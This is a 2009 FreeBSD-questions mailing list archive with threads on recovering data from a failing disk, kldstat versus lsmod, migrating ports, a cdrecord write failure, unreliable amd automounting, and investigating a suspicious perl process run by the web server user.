<1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="/3yNEOqWowh/8j+e" Content-Disposition: inline In-Reply-To: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 22:32:49 -0000 --/3yNEOqWowh/8j+e Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 24, 2009 at 12:29:19PM -0600, Kelly Martin wrote: > I just experienced a hard drive failure on one of my FreeBSD 7.2 > production servers with no backup! I am so mad at myself for not > backing up!! Welcome to the club. :-) > Now it's a salvage operation. Here are the type of errors > I was getting on the console, over-and-over: >=20 > ad4: TIMEOUT - WRITE_DMA48 retrying (0 retries left) LBA=3D441633503 > ad4: WARNING - SETFEATURES ENABLE RCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SETFEATURES ENABLE WCACHE taskqueue timeout - > completing request directly > ad4: WARNING - SET_MULTI taskqueue timeout - completing request directly > ad4: FAILURE - WRITE_DMA48 timed out LBA=3D441633375 > g_vgs_done():ad4s1f[WRITE(offset=3D216338284544, length=3D16384)]error = =3D 5 It _could_ just be a bad or improperly connected SATA cable. Try changing or re-seating the cable. Read errors cannot damage your data, but write errors can! Immediately stop all writing to the disk. Re-mount the partitions on that disk as read-only,= or unmount them. To see if a disk really is broken, install sysutils/smartmontools, and run 'smartctl -a' on the disk. If you see errors in its report (e.g. reallocated sectors), the disk is dying and should be unplugged to prevent it from gett= ing worse. > My question: what kind of checks and/or repair tools should I run on > the damaged drive after it's mounted? As others have mentioned, first make a copy (with the disk unmounted) of the partitions on that disk with dd, saving them to another drive. That way you can experiment with the data without further deterioration of the original. You can use this disk image e.g. as a vnode-backed memory disk, s= ee mdconfig(8). If you cannot get a good copy of the disk partitions it might = be a good idea to get a quote from a professional hard drive data recovery company to do that for you. I've never had occasion to try this (hooray for backups) but I've heard it can be quite expensive. :-/ Try using fsck_ffs on (copies of) the disk image to see if that can restore the damage. If the damage is beyond repair for fsck_ffs, you have a real problem. Of course is you have a good disk image, your data is still there, but you might have to use a forensics program like sysutils/sleuthkit or hexdump to try and piece files together. And even then you cannot be sure that there is no corrupted data in the files themselves. Good luck with tha= t. :-( Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --/3yNEOqWowh/8j+e Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqTFQ8ACgkQEnfvsMMhpyVMhwCgr5h3MubFYhWDlv3eMMeI5hAD sWcAniUb8hErDp7loTu95UvQJ/Mc5YUZ =vn7D -----END PGP SIGNATURE----- --/3yNEOqWowh/8j+e-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 22:48:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C6C80106568C for ; Mon, 24 Aug 2009 22:48:31 +0000 (UTC) (envelope-from "") Received: from outbound-mail-310.bluehost.com (outbound-mail-310.bluehost.com [67.222.54.3]) by mx1.freebsd.org (Postfix) with SMTP id 941198FC08 for ; Mon, 24 Aug 2009 22:48:31 +0000 (UTC) Received: (qmail 12560 invoked by uid 0); 24 Aug 2009 22:21:51 -0000 Received: from unknown (HELO box543.bluehost.com) (74.220.219.143) by outboundproxy6.bluehost.com with SMTP; 24 Aug 2009 22:21:51 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=apotheon.com; h=Date:From:To:Subject:Message-ID:Mail-Followup-To:References:Mime-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent:X-Identified-User; b=WOEuDBTjbajBJfNnKaepsH6TQc7gbB9fE0rwDzpwag2V0hIaJMueRhpfRnLNqwdIl5o612JAgOb1g8b7Hk/yZDED18l1D6tVtNwa1wHE0wYMTHsC4FZBLxS/8owmK07d; Received: from c-24-8-180-234.hsd1.co.comcast.net ([24.8.180.234] helo=kokopelli.hydra) by box543.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1MfhvC-00018X-GP for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 16:21:51 -0600 Received: by kokopelli.hydra (sSMTP sendmail emulation); Mon, 24 Aug 2009 16:13:59 -0600 Date: Mon, 24 Aug 2009 16:13:59 -0600 From: Chad Perrin To: freebsd-questions@freebsd.org Message-ID: <20090824221359.GA65007@kokopelli.hydra> Mail-Followup-To: freebsd-questions@freebsd.org References: <20090824152932.0780db11@scorpio.seibercom.net> <20090824193309.GI77498@dan.emsphone.com> <4A92EDA6.2020809@lemonia.org> <20090824205839.GB28580@comcast.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="opJtzjQTFsWo+cga" Content-Disposition: inline In-Reply-To: <20090824205839.GB28580@comcast.net> User-Agent: Mutt/1.4.2.3i X-Identified-User: {2737:box543.bluehost.com:apotheon:apotheon.org} {sentby:smtp auth 24.8.180.234 authed with ren@apotheon.org} Subject: Re: Equivilant of 'lsmod' X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 22:48:31 -0000 --opJtzjQTFsWo+cga Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 24, 2009 at 01:58:39PM -0700, Charlie Kester wrote: > On Mon 24 Aug 2009 at 12:44:38 PDT Dunc wrote: > > > >I think he wanted to know what the equivalent of the Linux 'lsmod' > >command is. >=20 > Is kldstat 100% semantically congruent with lsmod? I.e., are there > things you can do with lsmod that you can't with kldstat? =20 >=20 > A quick comparison of the manpages will probably give the answer, but it > will save everyone some time if the OP explains what he wants to do that > he would have used lsmod for if this were Linux. >=20 > Besides, not everyone here is familiar with Linux and not everyone wants > to spend any time learning it. Just giving the Linux command for > something means you're unnecessarily narrowing down the number of people > who can give you an answer. Don't confuse the issue with facts! --=20 Chad Perrin [ original content licensed OWL: http://owl.apotheon.org ] Quoth Richard Pattis: "If you cannot grok the overall structure of a program while taking a shower, e.g., with no external memory aids, you are not ready to code it." --opJtzjQTFsWo+cga Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.10 (FreeBSD) iEYEARECAAYFAkqTEKcACgkQ9mn/Pj01uKUpWgCfUQGLz15KNFXX6mDz+c4nldZw JuEAn2rIq/nFg95SpA2MbPY9n9bCFl7u =x2t+ -----END PGP SIGNATURE----- --opJtzjQTFsWo+cga-- From owner-freebsd-questions@FreeBSD.ORG Mon Aug 24 22:50:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 57CD6106568E for ; Mon, 24 Aug 2009 22:50:22 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 2E80C8FC13 for ; Mon, 24 Aug 2009 22:50:21 +0000 (UTC) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=UTF-8 Received: from [192.168.0.51] ([96.21.103.185]) by VL-MO-MR002.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KOW009TGKRX3SB0@VL-MO-MR002.ip.videotron.ca> for freebsd-questions@freebsd.org; Mon, 24 Aug 2009 18:50:21 -0400 (EDT) Message-id: <4A931933.50808@videotron.ca> Date: Mon, 24 Aug 2009 18:50:27 -0400 From: PJ User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) To: Roland Smith References: <4A929241.5060406@videotron.ca> <4A92B6C4.8070309@videotron.ca> <20090824174937.GA43410@slackbox.xs4all.nl> <4A92DCF5.5000808@videotron.ca> <20090824213654.GB43410@slackbox.xs4all.nl> In-reply-to: <20090824213654.GB43410@slackbox.xs4all.nl> Cc: freebsd-questions@freebsd.org Subject: Re: moving a disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Aug 2009 22:50:22 -0000 Roland Smith wrote: > On Mon, Aug 24, 2009 at 02:33:25PM -0400, PJ wrote: > >> I'm afraid I was a bit impatient >> > > Patience is a virtue. Installing stuff can take hours, and a split-second can > suffice to screw it all up. Been there & done that. :-) > > >> and messed up the already messed up >> disk... frankly, I don't recall whatever happened to the thing in the >> first place. >> > > Can I give you a tip? If you are doing something new or hairy, keep a laptop > or even a paper notebook handy and make notes of what you do. Write down the > commands that you use and any error messages that you get. > > My favorite technique is to open emacs (preferably on another machine), start > a terminal/ssh session inside an emacs buffer and then do my thing. This gives > me a complete record of what I've done. Save these session (with some added > explanations) to a file and you'll know what to do next time, or at least you > can explain to others what you've been doing. > > >> anyway, I'm just practicing another minimal install... it's not as bad as I >> had thought... I'm getting it all together now. >> > > There is an extremely easy way to get all ports that you need onto a new > machine, provided that you have a (base) machine of (a) the same FreeBSD major > version of (b) the same hardware architecture and (c) up-to-date installed > ports available. > > On the base machine, make dump(8)s of the filesystem(s) containing /usr/local, > /var/db/ports and /var/db/pkg and save them to files. Transfer those dump > files to an external harddisk or DVD. Using restore(8) interactively on the > new machine, restore these three directories to their respective filesystems > and you've got all ports up and running save for some editing of /etc/rc.conf. > > I'm not that organized, yet... ;-) but I have saved my rc.conf, smb.conf, httpd.conf. httpd-vhosts.conf 7 a number of other handy configuration files that I copy to new installations and tweak, if necessary; even the certificates for ssl work fine... so, now I think I'll follow your suggestion and keep a record and do the copy stuff - it also saves bandwidth so you don' t have to download all the distfiles... but I don't do any hairy stuff :-( just trying to K.I.S.S - and this will make it even simpler. Thanks again... learned again... >> Thanks much, I'm beginning >> to understand a bit more... this boot stuff sure is complicated... >> > > Yep. PC booting is a throwback to an earlier era when 640 kB RAM was all there > was and 512 bytes seemed big enough for boot code, because you were writing in > machine language or assembly anyway. > > If you want a real hair-raising story about the time that assemblers were > luxuries, google 'the story of Mel' and be amazed (or horrified). It predates > PCs, but I think it shows the mind-set of the begin time of (personal) > computing. > > Roland > From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 04:00:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 924AF1065692 for ; Tue, 25 Aug 2009 04:00:15 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id 755728FC18 for ; Tue, 25 Aug 2009 04:00:15 +0000 (UTC) Received: from eagle.syrec.org (c-24-6-221-126.hsd1.ca.comcast.net [24.6.221.126]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id n7P3mDBR023381 for ; Mon, 24 Aug 2009 20:48:13 -0700 (PDT) Message-ID: <4A935EFC.4030501@rawbw.com> Date: Mon, 24 Aug 2009 20:48:12 -0700 From: Yuri User-Agent: Thunderbird 2.0.0.22 (X11/20090724) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Subject: CD writing fails on P6T motherboard with Pioneer cdwriter X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 04:00:15 -0000 Ever since I upgraded to P6T motherboard I can't burn any data or audio CDs/DVDs. My dvd-writer ('PIONEER ' 'DVD-RW DVR-112D' '1.21' Removable CD-ROM) burned CDs ok on the older motherboard/CPU combination. And now trying to burn audio-cd I got the log below. What might be wrong? 7.2-STABLE Yuri --- command --- cdrecord dev=5,0,0 speed=4 -v -dao -pad -useinfo -text *.wav --- log --- Cdrecord-Clone 2.01 (i386-unknown-freebsd7.2) Copyright (C) 1995-2004 J�rg Schilling TOC Type: 0 = CD-DA scsidev: '5,0,0' scsibus: 5 target: 0 lun: 0 Using libscg version 'schily-0.8'. SCSI buffer size: 64512 atapi: 0 Device type : Removable CD-ROM Version : 0 Response Format: 2 Capabilities : Vendor_info : 'PIONEER ' Identifikation : 'DVD-RW DVR-112D' Revision : '1.21' Device seems to be: Generic mmc2 DVD-R/DVD-RW. Current: 0x0009 Profile: 0x002B Profile: 0x001B Profile: 0x001A Profile: 0x0016 Profile: 0x0015 Profile: 0x0014 Profile: 0x0013 Profile: 0x0011 Profile: 0x0010 Profile: 0x000A Profile: 0x0009 (current) Profile: 0x0008 cdrecord: This version of cdrecord does not include DVD-R/DVD-RW support code. cdrecord: If you need DVD-R/DVD-RW support, ask the Author for cdrecord-ProDVD. cdrecord: Free test versions and free keys for personal use are at ftp://ftp.berlios.de/pub/cdrecord/ProDVD/ Using generic SCSI-3/mmc CD-R/CD-RW driver (mmc_cdr). Driver flags : MMC-3 SWABAUDIO BURNFREE Supported modes: TAO PACKET SAO SAO/R96P SAO/R96R RAW/R16 RAW/R96P RAW/R96R Drive buf size : 1267712 = 1238 KB FIFO size : 4194304 = 4096 KB pregap1: -1 Track 01: audio 54 MB (05:24.16) no preemp Track 02: audio 41 MB (04:05.64) no preemp pregapsize: 395 Track 03: audio 56 MB (05:38.76) no preemp pregapsize: 388 Track 04: audio 67 MB (06:42.04) no preemp pregapsize: 425 Track 05: audio 29 MB (02:56.33) no preemp pregapsize: 500 Track 06: audio 84 MB (08:19.46) no preemp pregapsize: 518 Track 07: audio 57 MB (05:39.86) no preemp pregapsize: 380 Track 08: audio 32 MB (03:11.06) no preemp pregapsize: 578 Track 09: audio 40 MB (03:59.80) no preemp pregapsize: 340 Track 10: audio 95 MB (09:27.22) no preemp pregapsize: 305 Track 11: audio 27 MB (02:41.44) no preemp pregapsize: 332 Total size: 586 MB (58:05.80) = 261435 sectors Lout start: 586 MB (58:07/60) = 261435 sectors Current Secsize: 2048 ATIP info from disk: Indicated writing power: 5 Is not unrestricted Is not erasable Disk sub type: Medium Type B, low Beta category (B-) (4) ATIP start of lead in: -11834 (97:24/16) ATIP start of lead out: 359849 (79:59/74) Disk type: Short strategy type (Phthalocyanine or similar) Manuf. index: 24 Manufacturer: SONY Corporation Blocks total: 359849 Blocks current: 359849 Blocks remaining: 98414 Starting to write CD/DVD at speed 4 in real SAO mode for single session. Last chance to quit, starting real write 0 seconds. Operation starts. Waiting for reader process to fill input buffer ... input buffer ready. BURN-Free is ON. Turning BURN-Free off Performing OPC... Sending CUE sheet... SAO startsec: -11834 Writing lead-in... Lead-in write time: 50.242s Writing pregap for track 1 at -150 cdrecord: faio_wait_on_buffer for writer timed out. cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 201.726 (200) s CDB: 2A 00 FF FF FF 6A 00 00 1B 00 cmd finished after 201.726s timeout 200s write track pad data: error after 0 bytes BFree: 1128 K BSize: 1152 K Starting new track at sector: 0 Track 01: 0 of 54 MB written.cdrecord: Input/output error. write_g1: scsi sendcmd: cmd timeout after 201.735 (200) s CDB: 2A 00 00 00 00 00 00 00 1B 00 cmd finished after 201.735s timeout 200s write track data: error after 0 bytes cdrecord: A write error occured. cdrecord: Please properly read the error message above. cdrecord: Input/output error. prevent/allow medium removal: scsi sendcmd: retryable error CDB: 1E 00 00 00 00 00 status: 0x2 (CHECK CONDITION) Sense Bytes: 70 00 06 00 00 00 00 0E 00 00 00 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Sense Key: 0x6 Unit Attention, Segment 0 Sense Code: 0x29 Qual 0x00 (power on, reset, or bus device reset occurred) Fru 0x0 Sense flags: Blk 0 (not valid) cmd finished after 206.776s timeout 200s Writing time: 463.803s Average write speed 8.4x. Fixating... Fixating time: 6.154s cdrecord: fifo had 64 puts and 1 gets. cdrecord: fifo was 0 times empty and 0 times full, min fill was 100%. --- dmesg log --- acd0: FAILURE - READ_DVD_STRUCTURE ILLEGAL REQUEST asc=0x30 ascq=0x02 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - READ_BUFFER ILLEGAL REQUEST asc=0x24 ascq=0x00 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - READ_TOC ILLEGAL REQUEST asc=0x24 ascq=0x00 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00 sks=0x4d 0x00 0x02 acd0: FAILURE - WRITE_BIG timed out acd0: FAILURE - WRITE_BIG timed out From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 05:33:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D5928106568D for ; Tue, 25 Aug 2009 05:33:38 +0000 (UTC) (envelope-from n-butcher=freebsd-questions=freebsd.org=xnhrueqv@fusiongol.com) Received: from smtp11.dentaku.gol.com (smtp11.dentaku.gol.com [203.216.5.73]) by mx1.freebsd.org (Postfix) with ESMTP id A953A8FC17 for ; Tue, 25 Aug 2009 05:33:38 +0000 (UTC) Received: from pat.gol.ad.jp ([203.216.1.191] helo=[172.16.1.151]) by smtp11.dentaku.gol.com with esmtpsa (Dentaku) id 1MfoLr-0005a6-7y for ; Tue, 25 Aug 2009 14:13:47 +0900 Message-ID: <4A93730A.8020807@fusiongol.com> Date: Tue, 25 Aug 2009 14:13:46 +0900 From: Nathan Butcher User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: freebsd-questions@freebsd.org X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL (outbound) X-Abuse-Complaints: abuse@gol.com Subject: amd automounting daemon is unreliable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 05:33:38 -0000 I'm having some troublesome issues with filesystems mounted with amd in FreeBSD 7.2-RELEASE We have a backend file server wwith sharenfs attributes from ZFS displaying NFS mountpoints to our front end machines:- tank/export mountpoint /export local tank/export sharenfs -maproot=0:0 server1 server2 local and we have amd automounting directories on the backend file system /etc/amd.d/amd.map.export:- /defaults type:=nfs;rhost:=wrfs;opts:=rw,vers=3,proto=udp,nodev * rfs=/export/files/${key} /etc/rc.conf:- amd_enable="YES" amd_flags="-a /.amd_mnt -l syslog /files /etc/amd.d/amd.map.export" There are a bunch of subdirectories in /files which get mounted across the network when they are accessed on the front-end, and as a solution - this has been working well. ...the PROBLEM is that it is unreliable. Sometimes amd hangs, and a mounted directory - while listed in df becomes inaccessible and I get "Permission Denied" errors while trying to access the mounted directory. I'm using some monitoring on the amd process, but as it doesn't die to trigger an alert, I have to wait until someone tells me that the filesystem is rejecting them in order to respond tot he issue. It also happens way too often for me to continue using this solution. Unless I script amd to restart itself continuously in the event of a crash... I cannot use it in a production environment. -- $B%U%e!<%8%g%s!&%M%C%H%o!<%/%5!<%S%93t<02q Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 736351065690 for ; Tue, 25 Aug 2009 07:41:23 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id 4F7468FC18 for ; Tue, 25 Aug 2009 07:41:23 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id n7P7fMCf062703 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 25 Aug 2009 00:41:22 -0700 (PDT) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id n7P7fM6H062702; Tue, 25 Aug 2009 00:41:22 -0700 (PDT) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA14532; Tue, 25 Aug 09 00:35:23 PDT Date: Tue, 25 Aug 2009 00:38:59 -0700 From: perryh@pluto.rain.com To: kellymartin@gmail.com Message-Id: <4a939513.NMAP0NNWLEg7ayVF%perryh@pluto.rain.com> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <44y6p9q7rd.fsf@be-well.ilk.org> In-Reply-To: <44y6p9q7rd.fsf@be-well.ilk.org> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 07:41:23 -0000 Lowell Gilbert wrote: > Kelly Martin writes: > > I just experienced a hard drive failure on one of my > > FreeBSD 7.2 production servers with no backup! ... > First, try copying the entire disk, *without* mounting it. Yep. > Use dd(1) to get a copy of the whole disk. I believe that > "conv=noerror" may be necessary. Much better: use sysutils/ddrescue, which was written specifically to deal with this sort of situation. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 08:01:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DD0A01065690 for ; Tue, 25 Aug 2009 08:01:19 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id B7D1F8FC36 for ; Tue, 25 Aug 2009 08:01:19 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1Mfqxj-0003PX-TT for freebsd-questions@freebsd.org; Tue, 25 Aug 2009 01:01:03 -0700 Message-ID: <25130058.post@talk.nabble.com> Date: Tue, 25 Aug 2009 01:00:53 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <200908241026.55693.j.mckeown@ru.ac.za> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 08:01:19 -0000 Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www cwd VDIR 0,76 512 2 / perl5.8.9 4272 www rtd VDIR 0,76 512 2 / perl5.8.9 4272 www txt VREG 0,82 4428 3015044 /usr/local/bin/perl perl5.8.9 4272 www txt VREG 0,76 171192 49360 /libexec/ld-elf.so.1 perl5.8.9 4272 www txt VREG 0,82 1229218 95150 /usr/local/lib/perl5/5.8.9/mach/CORE/libperl.so perl5.8.9 4272 www txt VREG 0,76 92140 16 /lib/libm.so.5 perl5.8.9 4272 www txt VREG 0,76 31928 14 /lib/libcrypt.so.4 perl5.8.9 4272 www txt VREG 0,76 50496 74 /lib/libutil.so.7 perl5.8.9 4272 www txt VREG 0,76 1026604 13 /lib/libc.so.7 perl5.8.9 4272 www txt VREG 0,82 17427 94753 /usr/local/lib/perl5/5.8.9/mach/auto/IO/IO.so perl5.8.9 4272 www txt VREG 0,82 24006 94951 /usr/local/lib/perl5/5.8.9/mach/auto/Socket/Socket.so perl5.8.9 4272 www 0u PIPE 0xc33c4ad4 16384 ->0xc33c4b8c perl5.8.9 4272 www 1u PIPE 0xc2fd2874 0 ->0xc2fd27bc perl5.8.9 4272 www 2u PIPE 0xc2fd2874 0 ->0xc2fd27bc perl5.8.9 4272 www 3u IPv4 0xc33cf000 0t0 TCP gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? After 24 hour since rebooting, this perl instance is still crunching away... ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25130058.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 09:19:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 40183106568D for ; Tue, 25 Aug 2009 09:19:39 +0000 (UTC) (envelope-from mike@urgle.com) Received: from anchor-post-2.mail.demon.net (anchor-post-2.mail.demon.net [195.173.77.133]) by mx1.freebsd.org (Postfix) with ESMTP id 07E5F8FC35 for ; Tue, 25 Aug 2009 09:19:38 +0000 (UTC) Received: from cheddar.urgle.com ([80.177.40.53]) by anchor-post-2.mail.demon.net with esmtp (Exim 4.69) id 1MfsBl-0005RT-lp; Tue, 25 Aug 2009 09:19:37 +0000 Received: from mike by cheddar.urgle.com with local (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MfsBl-000E2j-Ee; Tue, 25 Aug 2009 09:19:37 +0000 Date: Tue, 25 Aug 2009 10:19:37 +0100 From: Mike Bristow To: Colin Brace Message-ID: <20090825091937.GA53416@cheddar.urgle.com> References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <25130058.post@talk.nabble.com> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 09:19:39 -0000 On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: > Ok, here is what lsof tells me: > > $ sudo lsof | grep perl > perl5.8.9 4272 www 3u IPv4 0xc33cf000 0t0 TCP > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) > > The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. Other useful things: ps ajxwwww will tell you the parent process of the script: this looks like it may be a (fast?)CGI script; if so then the parent would be the web server. It may also show the name of the script (but beware: the script can change that) which would be usefull to know. > After 24 hour since rebooting, this perl instance is still crunching away... Is it the same instance of the script, or a new copy each time? That is, does the PID change? If so, that points to a CGI; if not it points to a fastCGI - or something else. Cheers, -- :wq From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 09:33:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 91D5E106568C for ; Tue, 25 Aug 2009 09:33:23 +0000 (UTC) (envelope-from jcigar@ulb.ac.be) Received: from mxin.vub.ac.be (mxin.vub.ac.be [134.184.129.112]) by mx1.freebsd.org (Postfix) with ESMTP id 2EA7A8FC14 for ; Tue, 25 Aug 2009 09:33:22 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 